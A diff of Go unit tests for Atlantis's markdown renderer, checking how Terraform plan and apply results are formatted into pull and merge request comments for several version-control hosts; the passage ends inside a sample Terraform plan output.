$default$ **Plan Error**
Show Output @@ -1000,7 +2247,6 @@ $$$ ` + c.Output + ` $$$
- ` } else { exp = `Ran Plan for dir: $.$ workspace: $default$ @@ -1009,12 +2255,9 @@ $$$ $$$ ` + c.Output + ` $$$ - ` } - - expWithBackticks := strings.Replace(exp, "$", "`", -1) - Equals(t, expWithBackticks, rendered) + Equals(t, normalize(exp), normalize(rendered)) }) } } @@ -1024,77 +2267,111 @@ $$$ func TestRenderProjectResults_WrapSingleProject(t *testing.T) { cases := []struct { VCSHost models.VCSHostType + VcsRequestType string GitlabCommonMarkSupport bool Output string ShouldWrap bool }{ { - VCSHost: models.Github, - Output: strings.Repeat("line\n", 1), - ShouldWrap: false, + VCSHost: models.Github, + VcsRequestType: "Pull Request", + Output: strings.Repeat("line\n", 1), + ShouldWrap: false, }, { - VCSHost: models.Github, - Output: strings.Repeat("line\n", 13), - ShouldWrap: true, + VCSHost: models.Github, + VcsRequestType: "Pull Request", + Output: strings.Repeat("line\n", 13) + "No changes. Infrastructure is up-to-date.", + ShouldWrap: true, }, { VCSHost: models.Gitlab, + VcsRequestType: "Merge Request", GitlabCommonMarkSupport: false, Output: strings.Repeat("line\n", 1), ShouldWrap: false, }, { VCSHost: models.Gitlab, + VcsRequestType: "Merge Request", GitlabCommonMarkSupport: false, Output: strings.Repeat("line\n", 13), ShouldWrap: false, }, { VCSHost: models.Gitlab, + VcsRequestType: "Merge Request", GitlabCommonMarkSupport: true, Output: strings.Repeat("line\n", 1), ShouldWrap: false, }, { VCSHost: models.Gitlab, + VcsRequestType: "Merge Request", GitlabCommonMarkSupport: true, - Output: strings.Repeat("line\n", 13), + Output: strings.Repeat("line\n", 13) + "No changes. Infrastructure is up-to-date.", ShouldWrap: true, }, { - VCSHost: models.BitbucketCloud, - Output: strings.Repeat("line\n", 1), - ShouldWrap: false, + VCSHost: models.BitbucketCloud, + VcsRequestType: "Pull Request", + Output: strings.Repeat("line\n", 1), + ShouldWrap: false, }, { - VCSHost: models.BitbucketCloud, - Output: strings.Repeat("line\n", 13), - ShouldWrap: false, + VCSHost: models.BitbucketCloud, + VcsRequestType: "Pull Request", + Output: strings.Repeat("line\n", 13), + ShouldWrap: false, }, { - VCSHost: models.BitbucketServer, - Output: strings.Repeat("line\n", 1), - ShouldWrap: false, + VCSHost: models.BitbucketServer, + VcsRequestType: "Pull Request", + Output: strings.Repeat("line\n", 1), + ShouldWrap: false, }, { - VCSHost: models.BitbucketServer, - Output: strings.Repeat("line\n", 13), - ShouldWrap: false, + VCSHost: models.BitbucketServer, + VcsRequestType: "Pull Request", + Output: strings.Repeat("line\n", 13), + ShouldWrap: false, }, } for _, c := range cases { - for _, cmd := range []models.CommandName{models.PlanCommand, models.ApplyCommand} { - t.Run(fmt.Sprintf("%s_%s_%v", c.VCSHost.String(), cmd.String(), c.ShouldWrap), + for _, cmdName := range []command.Name{command.Plan, command.Apply} { + t.Run(fmt.Sprintf("%s_%s_%v", c.VCSHost.String(), cmdName.String(), c.ShouldWrap), func(t *testing.T) { - mr := events.MarkdownRenderer{ - GitlabSupportsCommonMark: c.GitlabCommonMarkSupport, + mr := events.NewMarkdownRenderer( + c.GitlabCommonMarkSupport, // gitlabSupportsCommonMark + false, // disableApplyAll + false, // disableApply + false, // disableMarkdownFolding + false, // disableRepoLocking + false, // enableDiffMarkdownFormat + "", // markdownTemplateOverridesDir + "atlantis", // executableName + false, // hideUnchangedPlanComments + false, // quietPolicyChecks + ) + logger := logging.NewNoopLogger(t).WithHistory() + logText := "log" + logger.Info(logText) + ctx := &command.Context{ + Log: logger, + Pull: models.PullRequest{ + BaseRepo: models.Repo{ + VCSHost: models.VCSHost{ + Type: c.VCSHost, + }, + }, + }, } - var pr models.ProjectResult - switch cmd { - case models.PlanCommand: - pr = models.ProjectResult{ + + var pr command.ProjectResult + switch cmdName { + case command.Plan: + pr = command.ProjectResult{ RepoRelDir: ".", Workspace: "default", PlanSuccess: &models.PlanSuccess{ @@ -1104,98 +2381,146 @@ func TestRenderProjectResults_WrapSingleProject(t *testing.T) { ApplyCmd: "applycmd", }, } - case models.ApplyCommand: - pr = models.ProjectResult{ + case command.Apply: + pr = command.ProjectResult{ RepoRelDir: ".", Workspace: "default", ApplySuccess: c.Output, } } - rendered := mr.Render(events.CommandResult{ - ProjectResults: []models.ProjectResult{pr}, - }, cmd, "log", false, c.VCSHost) + res := command.Result{ + ProjectResults: []command.ProjectResult{pr}, + } + cmd := &events.CommentCommand{ + Name: cmdName, + Verbose: false, + } + rendered := mr.Render(ctx, res, cmd) // Check result. var exp string - switch cmd { - case models.PlanCommand: + switch cmdName { + case command.Plan: if c.ShouldWrap { - exp = `Ran Plan for dir: $.$ workspace: $default$ + exp = ` +Ran Plan for dir: $.$ workspace: $default$
Show Output $$$diff -` + c.Output + ` +` + strings.TrimSpace(c.Output) + ` $$$ +
* :arrow_forward: To **apply** this plan, comment: - * $applycmd$ -* :put_litter_in_its_place: To **delete** this plan click [here](lock-url) + $$$shell + applycmd + $$$ +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: - * $replancmd$ -
+ $$$shell + replancmd + $$$ +No changes. Infrastructure is up-to-date. --- -* :fast_forward: To **apply** all unapplied plans from this pull request, comment: - * $atlantis apply$ -* :put_litter_in_its_place: To delete all plans and locks for the PR, comment: - * $atlantis unlock$ +* :fast_forward: To **apply** all unapplied plans from this ` + c.VcsRequestType + `, comment: + $$$shell + atlantis apply + $$$ +* :put_litter_in_its_place: To **delete** all plans and locks from this ` + c.VcsRequestType + `, comment: + $$$shell + atlantis unlock + $$$ ` } else { - exp = `Ran Plan for dir: $.$ workspace: $default$ + exp = ` +Ran Plan for dir: $.$ workspace: $default$ $$$diff -` + c.Output + ` +` + strings.TrimSpace(c.Output) + ` $$$ * :arrow_forward: To **apply** this plan, comment: - * $applycmd$ -* :put_litter_in_its_place: To **delete** this plan click [here](lock-url) + $$$shell + applycmd + $$$ +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: - * $replancmd$ + $$$shell + replancmd + $$$ --- -* :fast_forward: To **apply** all unapplied plans from this pull request, comment: - * $atlantis apply$ -* :put_litter_in_its_place: To delete all plans and locks for the PR, comment: - * $atlantis unlock$ +* :fast_forward: To **apply** all unapplied plans from this ` + c.VcsRequestType + `, comment: + $$$shell + atlantis apply + $$$ +* :put_litter_in_its_place: To **delete** all plans and locks from this ` + c.VcsRequestType + `, comment: + $$$shell + atlantis unlock + $$$ ` } - case models.ApplyCommand: + case command.Apply: if c.ShouldWrap { - exp = `Ran Apply for dir: $.$ workspace: $default$ + exp = ` +Ran Apply for dir: $.$ workspace: $default$
Show Output $$$diff -` + c.Output + ` +` + strings.TrimSpace(c.Output) + ` $$$ -
+
` } else { - exp = `Ran Apply for dir: $.$ workspace: $default$ + exp = ` +Ran Apply for dir: $.$ workspace: $default$ $$$diff -` + c.Output + ` +` + strings.TrimSpace(c.Output) + ` $$$ - ` } } - expWithBackticks := strings.Replace(exp, "$", "`", -1) - Equals(t, expWithBackticks, rendered) + Equals(t, normalize(exp), normalize(rendered)) }) } } } func TestRenderProjectResults_MultiProjectApplyWrapped(t *testing.T) { - mr := events.MarkdownRenderer{} + mr := events.NewMarkdownRenderer( + false, // gitlabSupportsCommonMark + false, // disableApplyAll + false, // disableApply + false, // disableMarkdownFolding + false, // disableRepoLocking + false, // enableDiffMarkdownFormat + "", // markdownTemplateOverridesDir + "atlantis", // executableName + false, // hideUnchangedPlanComments + false, // quietPolicyChecks + ) + logger := logging.NewNoopLogger(t).WithHistory() + logText := "log" + logger.Info(logText) + ctx := &command.Context{ + Log: logger, + Pull: models.PullRequest{ + BaseRepo: models.Repo{ + VCSHost: models.VCSHost{ + Type: models.Github, + }, + }, + }, + } tfOut := strings.Repeat("line\n", 13) - rendered := mr.Render(events.CommandResult{ - ProjectResults: []models.ProjectResult{ + res := command.Result{ + ProjectResults: []command.ProjectResult{ { RepoRelDir: ".", Workspace: "staging", @@ -1207,18 +2532,26 @@ func TestRenderProjectResults_MultiProjectApplyWrapped(t *testing.T) { ApplySuccess: tfOut, }, }, - }, models.ApplyCommand, "log", false, models.Github) - exp := `Ran Apply for 2 projects: + } + cmd := &events.CommentCommand{ + Name: command.Apply, + Verbose: false, + } + rendered := mr.Render(ctx, res, cmd) + exp := ` +Ran Apply for 2 projects: 1. dir: $.$ workspace: $staging$ 1. dir: $.$ workspace: $production$ +--- ### 1. dir: $.$ workspace: $staging$
Show Output $$$diff -` + tfOut + ` +` + strings.TrimSpace(tfOut) + ` $$$ +
--- @@ -1226,23 +2559,49 @@ $$$
Show Output $$$diff -` + tfOut + ` +` + strings.TrimSpace(tfOut) + ` $$$ +
--- +### Apply Summary +2 projects, 2 successful, 0 failed, 0 errored ` - expWithBackticks := strings.Replace(exp, "$", "`", -1) - Equals(t, expWithBackticks, rendered) + Equals(t, normalize(exp), normalize(rendered)) } func TestRenderProjectResults_MultiProjectPlanWrapped(t *testing.T) { - mr := events.MarkdownRenderer{} - tfOut := strings.Repeat("line\n", 13) - rendered := mr.Render(events.CommandResult{ - ProjectResults: []models.ProjectResult{ - { + mr := events.NewMarkdownRenderer( + false, // gitlabSupportsCommonMark + false, // disableApplyAll + false, // disableApply + false, // disableMarkdownFolding + false, // disableRepoLocking + false, // enableDiffMarkdownFormat + "", // markdownTemplateOverridesDir + "atlantis", // executableName + false, // hideUnchangedPlanComments + false, // quietPolicyChecks + ) + logger := logging.NewNoopLogger(t).WithHistory() + logText := "log" + logger.Info(logText) + ctx := &command.Context{ + Log: logger, + Pull: models.PullRequest{ + BaseRepo: models.Repo{ + VCSHost: models.VCSHost{ + Type: models.Github, + }, + }, + }, + } + tfOut := strings.Repeat("line\n", 13) + "Plan: 1 to add, 0 to change, 0 to destroy." + res := command.Result{ + ProjectResults: []command.ProjectResult{ + { RepoRelDir: ".", Workspace: "staging", PlanSuccess: &models.PlanSuccess{ @@ -1263,11 +2622,18 @@ func TestRenderProjectResults_MultiProjectPlanWrapped(t *testing.T) { }, }, }, - }, models.PlanCommand, "log", false, models.Github) - exp := `Ran Plan for 2 projects: + } + cmd := &events.CommentCommand{ + Name: command.Plan, + Verbose: false, + } + rendered := mr.Render(ctx, res, cmd) + exp := ` +Ran Plan for 2 projects: 1. dir: $.$ workspace: $staging$ 1. dir: $.$ workspace: $production$ +--- ### 1. dir: $.$ workspace: $staging$
Show Output @@ -1275,13 +2641,18 @@ func TestRenderProjectResults_MultiProjectPlanWrapped(t *testing.T) { $$$diff ` + tfOut + ` $$$ +
* :arrow_forward: To **apply** this plan, comment: - * $staging-apply-cmd$ -* :put_litter_in_its_place: To **delete** this plan click [here](staging-lock-url) + $$$shell + staging-apply-cmd + $$$ +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](staging-lock-url) * :repeat: To **plan** this project again, comment: - * $staging-replan-cmd$ -
+ $$$shell + staging-replan-cmd + $$$ +Plan: 1 to add, 0 to change, 0 to destroy. --- ### 2. dir: $.$ workspace: $production$ @@ -1290,34 +2661,46 @@ $$$ $$$diff ` + tfOut + ` $$$ + * :arrow_forward: To **apply** this plan, comment: - * $production-apply-cmd$ -* :put_litter_in_its_place: To **delete** this plan click [here](production-lock-url) + $$$shell + production-apply-cmd + $$$ +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](production-lock-url) * :repeat: To **plan** this project again, comment: - * $production-replan-cmd$ - + $$$shell + production-replan-cmd + $$$ +Plan: 1 to add, 0 to change, 0 to destroy. --- -* :fast_forward: To **apply** all unapplied plans from this pull request, comment: - * $atlantis apply$ -* :put_litter_in_its_place: To delete all plans and locks for the PR, comment: - * $atlantis unlock$ +### Plan Summary + +2 projects, 2 with changes, 0 with no changes, 0 failed + +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + $$$shell + atlantis apply + $$$ +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + $$$shell + atlantis unlock + $$$ ` - expWithBackticks := strings.Replace(exp, "$", "`", -1) - Equals(t, expWithBackticks, rendered) + Equals(t, normalize(exp), normalize(rendered)) } // Test rendering when there was an error in one of the plans and we deleted // all the plans as a result. func TestRenderProjectResults_PlansDeleted(t *testing.T) { cases := map[string]struct { - cr events.CommandResult + res command.Result exp string }{ "one failure": { - cr: events.CommandResult{ - ProjectResults: []models.ProjectResult{ + res: command.Result{ + ProjectResults: []command.ProjectResult{ { RepoRelDir: ".", Workspace: "staging", @@ -1326,15 +2709,15 @@ func TestRenderProjectResults_PlansDeleted(t *testing.T) { }, PlansDeleted: true, }, - exp: `Ran Plan for dir: $.$ workspace: $staging$ + exp: ` +Ran Plan for dir: $.$ workspace: $staging$ **Plan Failed**: failure - `, }, "two failures": { - cr: events.CommandResult{ - ProjectResults: []models.ProjectResult{ + res: command.Result{ + ProjectResults: []command.ProjectResult{ { RepoRelDir: ".", Workspace: "staging", @@ -1348,10 +2731,12 @@ func TestRenderProjectResults_PlansDeleted(t *testing.T) { }, PlansDeleted: true, }, - exp: `Ran Plan for 2 projects: + exp: ` +Ran Plan for 2 projects: 1. dir: $.$ workspace: $staging$ 1. dir: $.$ workspace: $production$ +--- ### 1. dir: $.$ workspace: $staging$ **Plan Failed**: failure @@ -1361,12 +2746,14 @@ func TestRenderProjectResults_PlansDeleted(t *testing.T) { **Plan Failed**: failure --- +### Plan Summary +2 projects, 0 with changes, 0 with no changes, 2 failed `, }, "one failure, one success": { - cr: events.CommandResult{ - ProjectResults: []models.ProjectResult{ + res: command.Result{ + ProjectResults: []command.ProjectResult{ { RepoRelDir: ".", Workspace: "staging", @@ -1385,10 +2772,12 @@ func TestRenderProjectResults_PlansDeleted(t *testing.T) { }, PlansDeleted: true, }, - exp: `Ran Plan for 2 projects: + exp: ` +Ran Plan for 2 projects: 1. dir: $.$ workspace: $staging$ 1. dir: $.$ workspace: $production$ +--- ### 1. dir: $.$ workspace: $staging$ **Plan Failed**: failure @@ -1402,17 +2791,1487 @@ $$$ This plan was not saved because one or more projects failed and automerge requires all plans pass. --- +### Plan Summary +2 projects, 1 with changes, 0 with no changes, 1 failed `, }, } for name, c := range cases { t.Run(name, func(t *testing.T) { - mr := events.MarkdownRenderer{} - rendered := mr.Render(c.cr, models.PlanCommand, "log", false, models.Github) - expWithBackticks := strings.Replace(c.exp, "$", "`", -1) - Equals(t, expWithBackticks, rendered) + mr := events.NewMarkdownRenderer( + false, // gitlabSupportsCommonMark + false, // disableApplyAll + false, // disableApply + false, // disableMarkdownFolding + false, // disableRepoLocking + false, // enableDiffMarkdownFormat + "", // markdownTemplateOverridesDir + "atlantis", // executableName + false, // hideUnchangedPlanComments + false, // quietPolicyChecks + ) + logger := logging.NewNoopLogger(t).WithHistory() + logText := "log" + logger.Info(logText) + ctx := &command.Context{ + Log: logger, + Pull: models.PullRequest{ + BaseRepo: models.Repo{ + VCSHost: models.VCSHost{ + Type: models.Github, + }, + }, + }, + } + cmd := &events.CommentCommand{ + Name: command.Plan, + Verbose: false, + } + rendered := mr.Render(ctx, c.res, cmd) + Equals(t, normalize(c.exp), normalize(rendered)) + }) + } +} + +// test that id repo locking is disabled the link to unlock the project is not rendered +func TestRenderProjectResultsWithRepoLockingDisabled(t *testing.T) { + cases := []struct { + Description string + Command command.Name + ProjectResults []command.ProjectResult + VCSHost models.VCSHostType + Expected string + }{ + { + "no projects", + command.Plan, + []command.ProjectResult{}, + models.Github, + "Ran Plan for 0 projects:\n\n", + }, + { + "single successful plan", + command.Plan, + []command.ProjectResult{ + { + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: "terraform-output", + LockURL: "lock-url", + RePlanCmd: "atlantis plan -d path -w workspace", + ApplyCmd: "atlantis apply -d path -w workspace", + }, + Workspace: "workspace", + RepoRelDir: "path", + }, + }, + models.Github, + ` +Ran Plan for dir: $path$ workspace: $workspace$ + +$$$diff +terraform-output +$$$ + +* :arrow_forward: To **apply** this plan, comment: + $$$shell + atlantis apply -d path -w workspace + $$$ +* :repeat: To **plan** this project again, comment: + $$$shell + atlantis plan -d path -w workspace + $$$ + +--- +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + $$$shell + atlantis apply + $$$ +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + $$$shell + atlantis unlock + $$$ +`, + }, + { + "single successful plan with main ahead", + command.Plan, + []command.ProjectResult{ + { + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: "terraform-output", + LockURL: "lock-url", + RePlanCmd: "atlantis plan -d path -w workspace", + ApplyCmd: "atlantis apply -d path -w workspace", + MergedAgain: true, + }, + Workspace: "workspace", + RepoRelDir: "path", + }, + }, + models.Github, + ` +Ran Plan for dir: $path$ workspace: $workspace$ + +$$$diff +terraform-output +$$$ + +* :arrow_forward: To **apply** this plan, comment: + $$$shell + atlantis apply -d path -w workspace + $$$ +* :repeat: To **plan** this project again, comment: + $$$shell + atlantis plan -d path -w workspace + $$$ +:twisted_rightwards_arrows: Upstream was modified, a new merge was performed. + +--- +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + $$$shell + atlantis apply + $$$ +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + $$$shell + atlantis unlock + $$$ +`, + }, + { + "single successful plan with project name", + command.Plan, + []command.ProjectResult{ + { + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: "terraform-output", + LockURL: "lock-url", + RePlanCmd: "atlantis plan -d path -w workspace", + ApplyCmd: "atlantis apply -d path -w workspace", + }, + Workspace: "workspace", + RepoRelDir: "path", + ProjectName: "projectname", + }, + }, + models.Github, + ` +Ran Plan for project: $projectname$ dir: $path$ workspace: $workspace$ + +$$$diff +terraform-output +$$$ + +* :arrow_forward: To **apply** this plan, comment: + $$$shell + atlantis apply -d path -w workspace + $$$ +* :repeat: To **plan** this project again, comment: + $$$shell + atlantis plan -d path -w workspace + $$$ + +--- +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + $$$shell + atlantis apply + $$$ +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + $$$shell + atlantis unlock + $$$ +`, + }, + { + "single successful apply", + command.Apply, + []command.ProjectResult{ + { + ApplySuccess: "success", + Workspace: "workspace", + RepoRelDir: "path", + }, + }, + models.Github, + ` +Ran Apply for dir: $path$ workspace: $workspace$ + +$$$diff +success +$$$ +`, + }, + { + "single successful apply with project name", + command.Apply, + []command.ProjectResult{ + { + ApplySuccess: "success", + Workspace: "workspace", + RepoRelDir: "path", + ProjectName: "projectname", + }, + }, + models.Github, + ` +Ran Apply for project: $projectname$ dir: $path$ workspace: $workspace$ + +$$$diff +success +$$$ +`, + }, + { + "multiple successful plans", + command.Plan, + []command.ProjectResult{ + { + Workspace: "workspace", + RepoRelDir: "path", + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: "terraform-output", + LockURL: "lock-url", + ApplyCmd: "atlantis apply -d path -w workspace", + RePlanCmd: "atlantis plan -d path -w workspace", + }, + }, + { + Workspace: "workspace", + RepoRelDir: "path2", + ProjectName: "projectname", + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: "terraform-output2", + LockURL: "lock-url2", + ApplyCmd: "atlantis apply -d path2 -w workspace", + RePlanCmd: "atlantis plan -d path2 -w workspace", + }, + }, + }, + models.Github, + ` +Ran Plan for 2 projects: + +1. dir: $path$ workspace: $workspace$ +1. project: $projectname$ dir: $path2$ workspace: $workspace$ +--- + +### 1. dir: $path$ workspace: $workspace$ +$$$diff +terraform-output +$$$ + +* :arrow_forward: To **apply** this plan, comment: + $$$shell + atlantis apply -d path -w workspace + $$$ +* :repeat: To **plan** this project again, comment: + $$$shell + atlantis plan -d path -w workspace + $$$ + +--- +### 2. project: $projectname$ dir: $path2$ workspace: $workspace$ +$$$diff +terraform-output2 +$$$ + +* :arrow_forward: To **apply** this plan, comment: + $$$shell + atlantis apply -d path2 -w workspace + $$$ +* :repeat: To **plan** this project again, comment: + $$$shell + atlantis plan -d path2 -w workspace + $$$ + +--- +### Plan Summary + +2 projects, 2 with changes, 0 with no changes, 0 failed + +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + $$$shell + atlantis apply + $$$ +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + $$$shell + atlantis unlock + $$$ +`, + }, + { + "multiple successful applies", + command.Apply, + []command.ProjectResult{ + { + RepoRelDir: "path", + Workspace: "workspace", + ProjectName: "projectname", + ApplySuccess: "success", + }, + { + RepoRelDir: "path2", + Workspace: "workspace", + ApplySuccess: "success2", + }, + }, + models.Github, + ` +Ran Apply for 2 projects: + +1. project: $projectname$ dir: $path$ workspace: $workspace$ +1. dir: $path2$ workspace: $workspace$ +--- + +### 1. project: $projectname$ dir: $path$ workspace: $workspace$ +$$$diff +success +$$$ + +--- +### 2. dir: $path2$ workspace: $workspace$ +$$$diff +success2 +$$$ + +--- +### Apply Summary + +2 projects, 2 successful, 0 failed, 0 errored +`, + }, + { + "single errored plan", + command.Plan, + []command.ProjectResult{ + { + Error: errors.New("error"), + RepoRelDir: "path", + Workspace: "workspace", + }, + }, + models.Github, + ` +Ran Plan for dir: $path$ workspace: $workspace$ + +**Plan Error** +$$$ +error +$$$ +`, + }, + { + "single failed plan", + command.Plan, + []command.ProjectResult{ + { + RepoRelDir: "path", + Workspace: "workspace", + Failure: "failure", + }, + }, + models.Github, + ` +Ran Plan for dir: $path$ workspace: $workspace$ + +**Plan Failed**: failure +`, + }, + { + "successful, failed, and errored plan", + command.Plan, + []command.ProjectResult{ + { + Workspace: "workspace", + RepoRelDir: "path", + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: "terraform-output", + LockURL: "lock-url", + ApplyCmd: "atlantis apply -d path -w workspace", + RePlanCmd: "atlantis plan -d path -w workspace", + }, + }, + { + Workspace: "workspace", + RepoRelDir: "path2", + Failure: "failure", + }, + { + Workspace: "workspace", + RepoRelDir: "path3", + ProjectName: "projectname", + Error: errors.New("error"), + }, + }, + models.Github, + ` +Ran Plan for 3 projects: + +1. dir: $path$ workspace: $workspace$ +1. dir: $path2$ workspace: $workspace$ +1. project: $projectname$ dir: $path3$ workspace: $workspace$ +--- + +### 1. dir: $path$ workspace: $workspace$ +$$$diff +terraform-output +$$$ + +* :arrow_forward: To **apply** this plan, comment: + $$$shell + atlantis apply -d path -w workspace + $$$ +* :repeat: To **plan** this project again, comment: + $$$shell + atlantis plan -d path -w workspace + $$$ + +--- +### 2. dir: $path2$ workspace: $workspace$ +**Plan Failed**: failure + +--- +### 3. project: $projectname$ dir: $path3$ workspace: $workspace$ +**Plan Error** +$$$ +error +$$$ + +--- +### Plan Summary + +3 projects, 1 with changes, 0 with no changes, 2 failed + +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + $$$shell + atlantis apply + $$$ +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + $$$shell + atlantis unlock + $$$ +`, + }, + { + "successful, failed, and errored apply", + command.Apply, + []command.ProjectResult{ + { + Workspace: "workspace", + RepoRelDir: "path", + ApplySuccess: "success", + }, + { + Workspace: "workspace", + RepoRelDir: "path2", + Failure: "failure", + }, + { + Workspace: "workspace", + RepoRelDir: "path3", + Error: errors.New("error"), + }, + }, + models.Github, + ` +Ran Apply for 3 projects: + +1. dir: $path$ workspace: $workspace$ +1. dir: $path2$ workspace: $workspace$ +1. dir: $path3$ workspace: $workspace$ +--- + +### 1. dir: $path$ workspace: $workspace$ +$$$diff +success +$$$ + +--- +### 2. dir: $path2$ workspace: $workspace$ +**Apply Failed**: failure + +--- +### 3. dir: $path3$ workspace: $workspace$ +**Apply Error** +$$$ +error +$$$ + +--- +### Apply Summary + +3 projects, 1 successful, 1 failed, 1 errored +`, + }, + { + "successful, failed, and errored apply", + command.Apply, + []command.ProjectResult{ + { + Workspace: "workspace", + RepoRelDir: "path", + ApplySuccess: "success", + }, + { + Workspace: "workspace", + RepoRelDir: "path2", + Failure: "failure", + }, + { + Workspace: "workspace", + RepoRelDir: "path3", + Error: errors.New("error"), + }, + }, + models.Github, + ` +Ran Apply for 3 projects: + +1. dir: $path$ workspace: $workspace$ +1. dir: $path2$ workspace: $workspace$ +1. dir: $path3$ workspace: $workspace$ +--- + +### 1. dir: $path$ workspace: $workspace$ +$$$diff +success +$$$ + +--- +### 2. dir: $path2$ workspace: $workspace$ +**Apply Failed**: failure + +--- +### 3. dir: $path3$ workspace: $workspace$ +**Apply Error** +$$$ +error +$$$ + +--- +### Apply Summary + +3 projects, 1 successful, 1 failed, 1 errored +`, + }, + } + + r := events.NewMarkdownRenderer( + false, // gitlabSupportsCommonMark + false, // disableApplyAll + false, // disableApply + false, // disableMarkdownFolding + true, // disableRepoLocking + false, // enableDiffMarkdownFormat + "", // markdownTemplateOverridesDir + "atlantis", // executableName + false, // hideUnchangedPlanComments + false, // quietPolicyChecks + ) + logger := logging.NewNoopLogger(t).WithHistory() + logText := "log" + logger.Info(logText) + ctx := &command.Context{ + Log: logger, + Pull: models.PullRequest{ + BaseRepo: models.Repo{ + VCSHost: models.VCSHost{ + Type: models.Github, + }, + }, + }, + } + for _, c := range cases { + t.Run(c.Description, func(t *testing.T) { + res := command.Result{ + ProjectResults: c.ProjectResults, + } + for _, verbose := range []bool{true, false} { + t.Run(c.Description, func(t *testing.T) { + cmd := &events.CommentCommand{ + Name: c.Command, + Verbose: verbose, + } + s := r.Render(ctx, res, cmd) + if !verbose { + Equals(t, normalize(c.Expected), normalize(s)) + } else { + log := fmt.Sprintf("[INFO] %s", logText) + Equals(t, normalize(c.Expected+ + fmt.Sprintf("
Log\n

\n\n```\n%s\n```\n

", log)), normalize(s)) + } + }) + } + }) + } +} + +func TestRenderProjectResultsWithGitLab(t *testing.T) { + cases := []struct { + Description string + Command command.Name + ProjectResults []command.ProjectResult + VCSHost models.VCSHostType + Expected string + }{ + { + "multiple successful plans", + command.Plan, + []command.ProjectResult{ + { + Workspace: "workspace", + RepoRelDir: "path", + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: "terraform-output", + LockURL: "lock-url", + ApplyCmd: "atlantis apply -d path -w workspace", + RePlanCmd: "atlantis plan -d path -w workspace", + }, + }, + { + Workspace: "workspace", + RepoRelDir: "path2", + ProjectName: "projectname", + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: "terraform-output2", + LockURL: "lock-url2", + ApplyCmd: "atlantis apply -d path2 -w workspace", + RePlanCmd: "atlantis plan -d path2 -w workspace", + }, + }, + }, + models.Gitlab, + ` +Ran Plan for 2 projects: + +1. dir: $path$ workspace: $workspace$ +1. project: $projectname$ dir: $path2$ workspace: $workspace$ +--- + +### 1. dir: $path$ workspace: $workspace$ +$$$diff +terraform-output +$$$ + +* :arrow_forward: To **apply** this plan, comment: + $$$shell + atlantis apply -d path -w workspace + $$$ +* :repeat: To **plan** this project again, comment: + $$$shell + atlantis plan -d path -w workspace + $$$ + +--- +### 2. project: $projectname$ dir: $path2$ workspace: $workspace$ +$$$diff +terraform-output2 +$$$ + +* :arrow_forward: To **apply** this plan, comment: + $$$shell + atlantis apply -d path2 -w workspace + $$$ +* :repeat: To **plan** this project again, comment: + $$$shell + atlantis plan -d path2 -w workspace + $$$ + +--- +### Plan Summary + +2 projects, 2 with changes, 0 with no changes, 0 failed + +* :fast_forward: To **apply** all unapplied plans from this Merge Request, comment: + $$$shell + atlantis apply + $$$ +* :put_litter_in_its_place: To **delete** all plans and locks from this Merge Request, comment: + $$$shell + atlantis unlock + $$$ +`, + }, + } + + r := events.NewMarkdownRenderer( + false, // gitlabSupportsCommonMark + false, // disableApplyAll + false, // disableApply + false, // disableMarkdownFolding + true, // disableRepoLocking + false, // enableDiffMarkdownFormat + "", // markdownTemplateOverridesDir + "atlantis", // executableName + false, // hideUnchangedPlanComments + false, // quietPolicyChecks + ) + logger := logging.NewNoopLogger(t).WithHistory() + logText := "log" + logger.Info(logText) + for _, c := range cases { + t.Run(c.Description, func(t *testing.T) { + ctx := &command.Context{ + Log: logger, + Pull: models.PullRequest{ + BaseRepo: models.Repo{ + VCSHost: models.VCSHost{ + Type: c.VCSHost, + }, + }, + }, + } + res := command.Result{ + ProjectResults: c.ProjectResults, + } + for _, verbose := range []bool{true, false} { + t.Run(c.Description, func(t *testing.T) { + cmd := &events.CommentCommand{ + Name: c.Command, + Verbose: verbose, + } + s := r.Render(ctx, res, cmd) + if !verbose { + Equals(t, normalize(c.Expected), normalize(s)) + } else { + log := fmt.Sprintf("[INFO] %s", logText) + Equals(t, normalize(c.Expected)+ + fmt.Sprintf("\n
Log\n

\n\n```\n%s\n```\n

", log), normalize(s)) + } + }) + } + }) + } +} + +const tfOutput = ` +An execution plan has been generated and is shown below. +Resource actions are indicated with the following symbols: +~ update in-place +-/+ destroy and then create replacement + +Terraform will perform the following actions: + + # module.redacted.aws_instance.redacted must be replaced +-/+ resource "aws_instance" "redacted" { + ~ ami = "ami-redacted" -> "ami-redacted" # forces replacement + ~ arn = "arn:aws:ec2:us-east-1:redacted:instance/i-redacted" -> (known after apply) + ~ associate_public_ip_address = false -> (known after apply) + availability_zone = "us-east-1b" + ~ cpu_core_count = 4 -> (known after apply) + ~ cpu_threads_per_core = 2 -> (known after apply) + - disable_api_termination = false -> null + - ebs_optimized = false -> null + get_password_data = false + - hibernation = false -> null + + host_id = (known after apply) + iam_instance_profile = "remote_redacted_profile" + ~ id = "i-redacted" -> (known after apply) + ~ instance_state = "running" -> (known after apply) + instance_type = "c5.2xlarge" + ~ ipv6_address_count = 0 -> (known after apply) + ~ ipv6_addresses = [] -> (known after apply) + key_name = "RedactedRedactedRedacted" + - monitoring = false -> null + + outpost_arn = (known after apply) + + password_data 